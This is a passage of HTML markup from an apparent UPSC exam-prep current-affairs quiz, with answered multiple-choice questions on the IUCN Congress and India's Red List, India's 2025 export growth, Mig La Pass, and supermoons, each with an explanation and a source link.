<br>(c) Aspartame is as sweet as sugar, but after ingestion into the body, it is converted into metabolites that yield no calories. <br><strong>(d) Aspartame is several times sweeter than table sugar, hence food items made with small quantities of aspartame yield fewer calories on oxidation.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/editorial\/ensuring-compliance-on-the-indian-pharmaceutical-sector\/article70130669.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/editorial\/ensuring-compliance-on-the-indian-pharmaceutical-sector\/article70130669.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>6. Consider the following statements with respect to the IUCN World Conservation Congress:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">I. The IUCN World Conservation Congress, 2025 was held in New Delhi, India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">II. India unveiled its first Red List in the 2025 Congress.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">III. It is held once every two years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(a) I only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(b) I and III&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(c) II only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(d) II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Answer: (c) II only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>In NEWS: <\/strong>India\u2019s first Red List of Endangered Species to be unveiled at IUCN World Congress<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>IUCN World Conservation Congress:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-119\">\n<li>The IUCN World Conservation Congress (WCC) is a global forum for conservation and sustainable development.<\/li>\n\n\n\n<li>Organized by the International Union for Conservation of Nature (IUCN).<\/li>\n\n\n\n<li>Brings together governments, civil society organizations, Indigenous peoples, scientists, and businesses.<\/li>\n\n\n\n<li>It is held <strong>once every four years. Hence statement III is incorrect.<\/strong><\/li>\n\n\n\n<li>Venue rotates globally;<strong> the 2025 Congress is in Abu Dhabi, UAE. Hence statement I is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-121\">\n<li>Set global conservation priorities.<\/li>\n\n\n\n<li>Evaluate the status of the world\u2019s biodiversity and propose strategies for protection.<\/li>\n\n\n\n<li>Promote sustainable development policies and nature-based solutions.<\/li>\n\n\n\n<li>Facilitate international collaboration for biodiversity conservation and climate action.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>India\u2019s First Red List:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>Unveiled at the IUCN World Conservation Congress 2025 in Abu Dhabi.<\/li>\n\n\n\n<li><strong>Marks India\u2019s first national-level assessment of endangered species. Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Demonstrates India\u2019s commitment to biodiversity conservation and global environmental responsibilities.<\/li>\n\n\n\n<li>Expected to guide national conservation priorities and policy actions.<\/li>\n\n\n\n<li>Covers species across flora and fauna within India.<\/li>\n\n\n\n<li>Aligns with IUCN methodology for global comparability.<\/li>\n\n\n\n<li>Provides a baseline for monitoring species population trends and habitat health.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Red List of Endangered Species:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>The Red List is a comprehensive inventory of the global conservation status of species, assessing their risk of extinction.<\/li>\n\n\n\n<li><strong>Maintained by the International Union for Conservation of Nature (IUCN).<\/strong><\/li>\n\n\n\n<li>Categorizes species as: Extinct, Extinct in the Wild, Critically Endangered, Endangered, Vulnerable, Near Threatened, Least Concern, Data Deficient, and Not Evaluated.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><strong>Q. The \u201cRed Data Books\u201d published by the International Union for Conservation of Nature and Natural Resources (IUCN) contain lists of<\/strong> <strong>\u00a0<\/strong> <br><br>1. Endemic plant and animal species present in the biodiversity hotspots. <br>2. Threatened plant and animal species. <br>3. Protected sites for conservation of nature and natural resources in various countries. \u00a0 <br><br><strong>Select the correct answer using the codes given below:<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 3 <br><strong>(b) 2 only<\/strong> <br>(c) 2 and 3 <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/indias-first-red-list-of-endangered-species-to-be-unveiled-at-iucn-world-congress#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/indias-first-red-list-of-endangered-species-to-be-unveiled-at-iucn-world-congress#google_vignette<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>7. With reference to the recent trends in India\u2019s international trade (April\u2013August 2025), which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">1. India&#8217;s services exports have grown at a higher rate than its merchandise exports.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">2. Electronic goods have emerged as one of the fastest-growing export sectors for India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">3. India\u2019s total exports combining merchandise and services have declined compared to the previous year.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>In NEWS: <\/strong>Export Surge: India Steps Up on Global Stage<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>India\u2019s Export Growth (April\u2013August 2025)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Overall Export Growth<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>India\u2019s <strong>total exports<\/strong>, combining <strong>merchandise and services<\/strong>, grew by <strong>5.19%<\/strong> in the first five months of FY 2025\u201326 (April\u2013August). <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>The total value reached <strong>USD 346.10 billion<\/strong>, indicating resilience in global trade engagement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Month-on-Month Growth<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-143\">\n<li>In <strong>August 2025 alone<\/strong>, total exports rose by <strong>4.77%<\/strong> compared to August 2024.<\/li>\n\n\n\n<li>Reflects steady recovery and positive trade momentum, even amid global uncertainties.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Merchandise vs Services Exports<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-145\">\n<li><strong>Merchandise exports<\/strong>: Increased by <strong>2.31%<\/strong> in April\u2013August 2025.<\/li>\n\n\n\n<li>India\u2019s merchandise export to the <strong>USA was USD 6.87 billion<\/strong> in August 2025.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td colspan=\"3\"><strong>India\u2019s Merchandise Export to USA vs. other countries<\/strong><\/td><\/tr><tr><td><strong>India\u2019s export destinations<\/strong><\/td><td><strong>July 2025 (In USD million)<\/strong><\/td><td><strong>August 2025 (In USD million)<\/strong><\/td><\/tr><tr><td>USA<\/td><td>8012.45<\/td><td>6865.47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2193<\/td><\/tr><tr><td>UAE<\/td><td>2984.66<\/td><td>3245.26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2191<\/td><\/tr><tr><td>Netherlands<\/td><td>1668.92<\/td><td>1829.77&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2191<\/td><\/tr><tr><td>Australia<\/td><td>495.65<\/td><td>554.67&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2191<\/td><\/tr><tr><td>Nepal<\/td><td>600.85<\/td><td>617.26&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2191<\/td><\/tr><tr><td>South Africa<\/td><td>611.28<\/td><td>654.58&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2191<\/td><\/tr><tr><td>Hong Kong<\/td><td>548.15<\/td><td>584.70&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2191<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li><strong>Services exports<\/strong>: Rose significantly by <strong>8.65%<\/strong>, underlining India\u2019s strength in IT, business services, and consulting. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>India\u2019s<\/strong> exports to <strong>Hong Kong, China, USA, Germany, Korea, UAE, Nepal, Belgium, Bangladesh, and Brazil<\/strong> have climbed the ladder of growth in April-August 2025 vs. April-August 2024.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Electronic Goods: Fastest-Growing Export Sector<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li><strong>Electronic goods exports<\/strong> saw a massive <strong>40.63%<\/strong> growth \u2014 the highest among all sectors. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Driven by PLI scheme support, increased global demand, and mobile\/device manufacturing exports.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Diversification of Export Base<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li><strong>Non-petroleum, non-gems &amp; jewellery exports<\/strong> increased by <strong>7.76%<\/strong>, suggesting a broader, more stable export base.<\/li>\n\n\n\n<li>Reduces dependency on volatile commodity-linked sectors.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Top Performing Export Sectors<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">Significant growth observed in:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li><strong>Electronics<\/strong><ul><li><strong>Engineering goods<\/strong><\/li><\/ul><ul><li><strong>Drugs and pharmaceuticals<\/strong><\/li><\/ul><ul><li><strong>Textiles and apparel<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Agricultural and processed food products<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Indicates India\u2019s growing capability in high-value manufacturing and agritech.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Key Government Schemes Supporting Exports<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-155\">\n<li><strong>RoDTEP (Remission of Duties and Taxes on Exported Products)<\/strong>: Refunds embedded taxes not rebated through other schemes.<\/li>\n\n\n\n<li><strong>PLI (Production-Linked Incentive) Schemes<\/strong>: Boosts manufacturing in electronics, pharmaceuticals, textiles, etc.<\/li>\n\n\n\n<li><strong>Districts as Export Hubs<\/strong>: Promotes local products through district-level identification and support.<\/li>\n\n\n\n<li><strong>TIES (Trade Infrastructure for Export Scheme)<\/strong>: Improves export infrastructure like testing labs, cold chains, logistics.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Logistics &amp; Trade Facilitation Initiatives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li><strong>National Logistics Policy<\/strong>: Reduces logistics costs, enhances competitiveness.<\/li>\n\n\n\n<li><strong>PM GatiShakti<\/strong>: Unified digital platform for coordinated infrastructure planning across ministries.<\/li>\n\n\n\n<li><strong>National Single Window System<\/strong>: Streamlines approvals and clearances for exporters.<\/li>\n\n\n\n<li><strong>Trade Connect e-Platform<\/strong>: Enhances outreach and support for exporters via digital means.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>GST Reform for Exporters (Effective 1st Nov 2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-159\">\n<li><strong>90% provisional GST refund<\/strong> to exporters of zero-rated supplies through a <strong>risk-based system<\/strong>.<\/li>\n\n\n\n<li><strong>Rectification of inverted duty structure<\/strong> in selected sectors to reduce input tax burden.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Export Target for FY 2025\u201326<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-161\">\n<li>India has set an ambitious <strong>export target of USD 1 trillion<\/strong>.<\/li>\n\n\n\n<li>As of August 2025, <strong>34.61%<\/strong> of the target has already been achieved, indicating a strong performance trajectory.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>New Trade Agreements<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li>India-UK Comprehensive Economic and Trade Agreement (CETA)<\/li>\n\n\n\n<li>India-EU Free Trade Agreement<\/li>\n\n\n\n<li>India-Australia Comprehensive Economic Cooperation Agreement<\/li>\n\n\n\n<li>India-New Zealand Free Trade Agreement<\/li>\n\n\n\n<li>India and Oman Comprehensive Economic Partnership Agreement (CEPA)<\/li>\n\n\n\n<li>India- Peru Free Trade Agreement (FTA)<\/li>\n\n\n\n<li>India- Chile Comprehensive Economic Partnership Agreement (CEPA)<\/li>\n\n\n\n<li>India- UAE Comprehensive Economic Partnership Agreement (CEPA)<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. With reference to the international trade of India at present, which of the following statements is\/are correct?<\/strong> <strong>\u00a0<\/strong> <br><br>1. India&#8217;s merchandise exports are less than its merchandise imports. <br>2. India&#8217;s imports of iron and steel, chemicals, fertilisers and machinery have decreased in recent years. <br>3. India&#8217;s exports of services are more than its imports of services. <br>4. India suffers from an overall trade\/current account deficit. \u00a0 <br><br><strong>Select the correct answer using the code given below:<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 4 only <br>(c) 3 only <br><strong>(d) 1, 3 and 4 only<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2175702\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2175702<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>8. Mig La Pass, recently seen in the news for the construction of the world\u2019s highest motorable road, is located in which one of the following mountain ranges?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(a) Karakoram Range<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(b) Zanskar Range<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(c) Pir Panjal Range<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">(d) Aravalli Range<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Answer: (b) Zanskar Range<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>In NEWS: <\/strong>BRO Breaks Its Own Record, Builds World\u2019s Highest Motorable Road at 19,400 ft in Ladakh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>World\u2019s Highest Motorable Road:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-174\">\n<li>Border Roads Organisation\u2019s (BRO) <strong>Project Himank has constructed the world\u2019s highest motorable road at Mig La Pass<\/strong>, located at an altitude of 19,400 feet in Ladakh.<\/li>\n\n\n\n<li>This surpasses BRO\u2019s earlier record at Umling La (19,024 feet), set in 2021 and recognized by the Guinness World Records.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Strategic &amp; Economic Importance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-176\">\n<li>Part of the Likaru\u2013Mig La\u2013Fukche alignment, it creates a third key axis to Fukche, a border village.<\/li>\n\n\n\n<li>Enhances India\u2019s border infrastructure and security posture.<\/li>\n\n\n\n<li>Expected to boost tourism in Ladakh, offering stunning Indus Valley views.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Mig La Pass:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-178\">\n<li>Mig La Pass is located in the <strong>eastern part of the Ladakh region<\/strong> of the Union Territory of Ladakh, India.<\/li>\n\n\n\n<li>It lies within the Himalayan mountain range, specifically in the <strong>Zanskar range<\/strong>, which is a sub-range of the greater Himalayas. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The region around Mig La Pass is characterized by rugged mountainous terrain with steep slopes, rocky outcrops, and sparse vegetation due to the high altitude.<\/li>\n\n\n\n<li>The<strong> climate is cold desert type<\/strong>, with temperatures often dropping well below freezing, especially in winter months. The pass remains snowbound for much of the year.<\/li>\n\n\n\n<li>Mig La serves as a critical mountain pass<strong> connecting the Likaru area to the west and Fukche village to the east, near the Line of Actual Control (LAC) between India and China.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Consider the following pairs:<\/strong> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>\u00a0\u00a0\u00a0<\/strong><br>           <strong>Peak\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0                Mountains<\/strong> <br>1.\u00a0Namcha Barwa \u00a0\u00a0\u00a0\u00a0\u2014\u00a0\u00a0\u00a0\u00a0 Garhwal Himalaya <br>2.\u00a0Nanda Devi\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u2014\u00a0\u00a0\u00a0\u00a0 Kumaon Himalaya <br>3.\u00a0Nokrek\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u2014\u00a0\u00a0\u00a0\u00a0 Sikkim Himalaya <strong>\u00a0<\/strong><br><br><strong>Which of the pairs given above is\/are correctly matched?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 2<br><strong>(b) 2 only<\/strong> <br>(c) 1 and 3 <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/bro-breaks-its-own-record-builds-worlds-highest-motorable-road-at-19400-ft-in-ladakh\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/bro-breaks-its-own-record-builds-worlds-highest-motorable-road-at-19400-ft-in-ladakh\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>Statement I:<\/strong> During a supermoon, the moon appears larger up to 14% bigger and brighter up to 30% brighter than a typical full moon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>Statement II:<\/strong> The moon\u2019s orbit around Earth is elliptical, causing variations in its distance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\"><strong>Statement III:<\/strong> Supermoons can influence tidal forces slightly, leading to higher tides known as \u201cperigean spring tides.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements? <\/strong>&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Answer: (b) Both Statement II and Statement III are correct but only one of them explains Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>In NEWS: <\/strong>What is a supermoon?<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"222\" height=\"177\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-14.jpg\" alt=\"\" class=\"wp-image-2527\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"367\" height=\"178\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-15.jpg\" alt=\"\" class=\"wp-image-2528\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-15.jpg 367w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-15-300x146.jpg 300w\" sizes=\"auto, (max-width: 367px) 100vw, 367px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Supermoon:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-193\">\n<li>A <strong>supermoon<\/strong> occurs when a full moon coincides with the moon\u2019s closest approach to Earth in its elliptical orbit, called <strong>perigee<\/strong>.<\/li>\n\n\n\n<li>During a supermoon, the moon appears <strong>larger (up to 14% bigger)<\/strong> and <strong>brighter (up to 30% brighter)<\/strong> than a typical full moon. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The moon\u2019s orbit around Earth is <strong>elliptical<\/strong>, causing variations in its distance; <strong>perigee<\/strong> is the nearest point, and <strong>apogee<\/strong> is the farthest. <strong>Hence statement II is correct and explains statement I<\/strong><\/li>\n\n\n\n<li>Supermoons are <strong>visible to the naked eye<\/strong> and do not require telescopes or special equipment.<\/li>\n\n\n\n<li>These events are <strong>relatively rare<\/strong> and occur only when the timing of the full moon and perigee coincide.<\/li>\n\n\n\n<li>Supermoons can influence <strong>tidal forces<\/strong> slightly, leading to higher tides known as <strong>\u201cperigean spring tides.\u201d Hence statement III is correct but it is not the justification for statement I<\/strong><\/li>\n\n\n\n<li>Supermoon events are often associated with <strong>cultural and religious festivals<\/strong> in many parts of the world.<\/li>\n\n\n\n<li>The next supermoon dates can be predicted and are published by <strong>astronomical organizations<\/strong> and observatories.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><strong>Q. Consider the following phenomena:<\/strong> <strong>\u00a0<\/strong> <br><br>1. Size of the sun at dusk <br>2. Colour of the sun at dawn <br>3. Moon being visible at dawn <br>4. Twinkle of stars in the sky <br>5. Polestar being visible in the sky \u00a0 <br><br><strong>Which of the above are optical illusions?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1, 2 and 3 <br>(b) 3, 4 and 5 <br><strong>(c) 1, 2 and 4<\/strong> <br>(d) 2, 3 and 5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/what-is-a-supermoon\/article70133754.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/what-is-a-supermoon\/article70133754.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>10. Consider the following kinds of organisms:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\">1. Copepods<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\">2. Cyanobacteria<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">3. Diatoms<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color 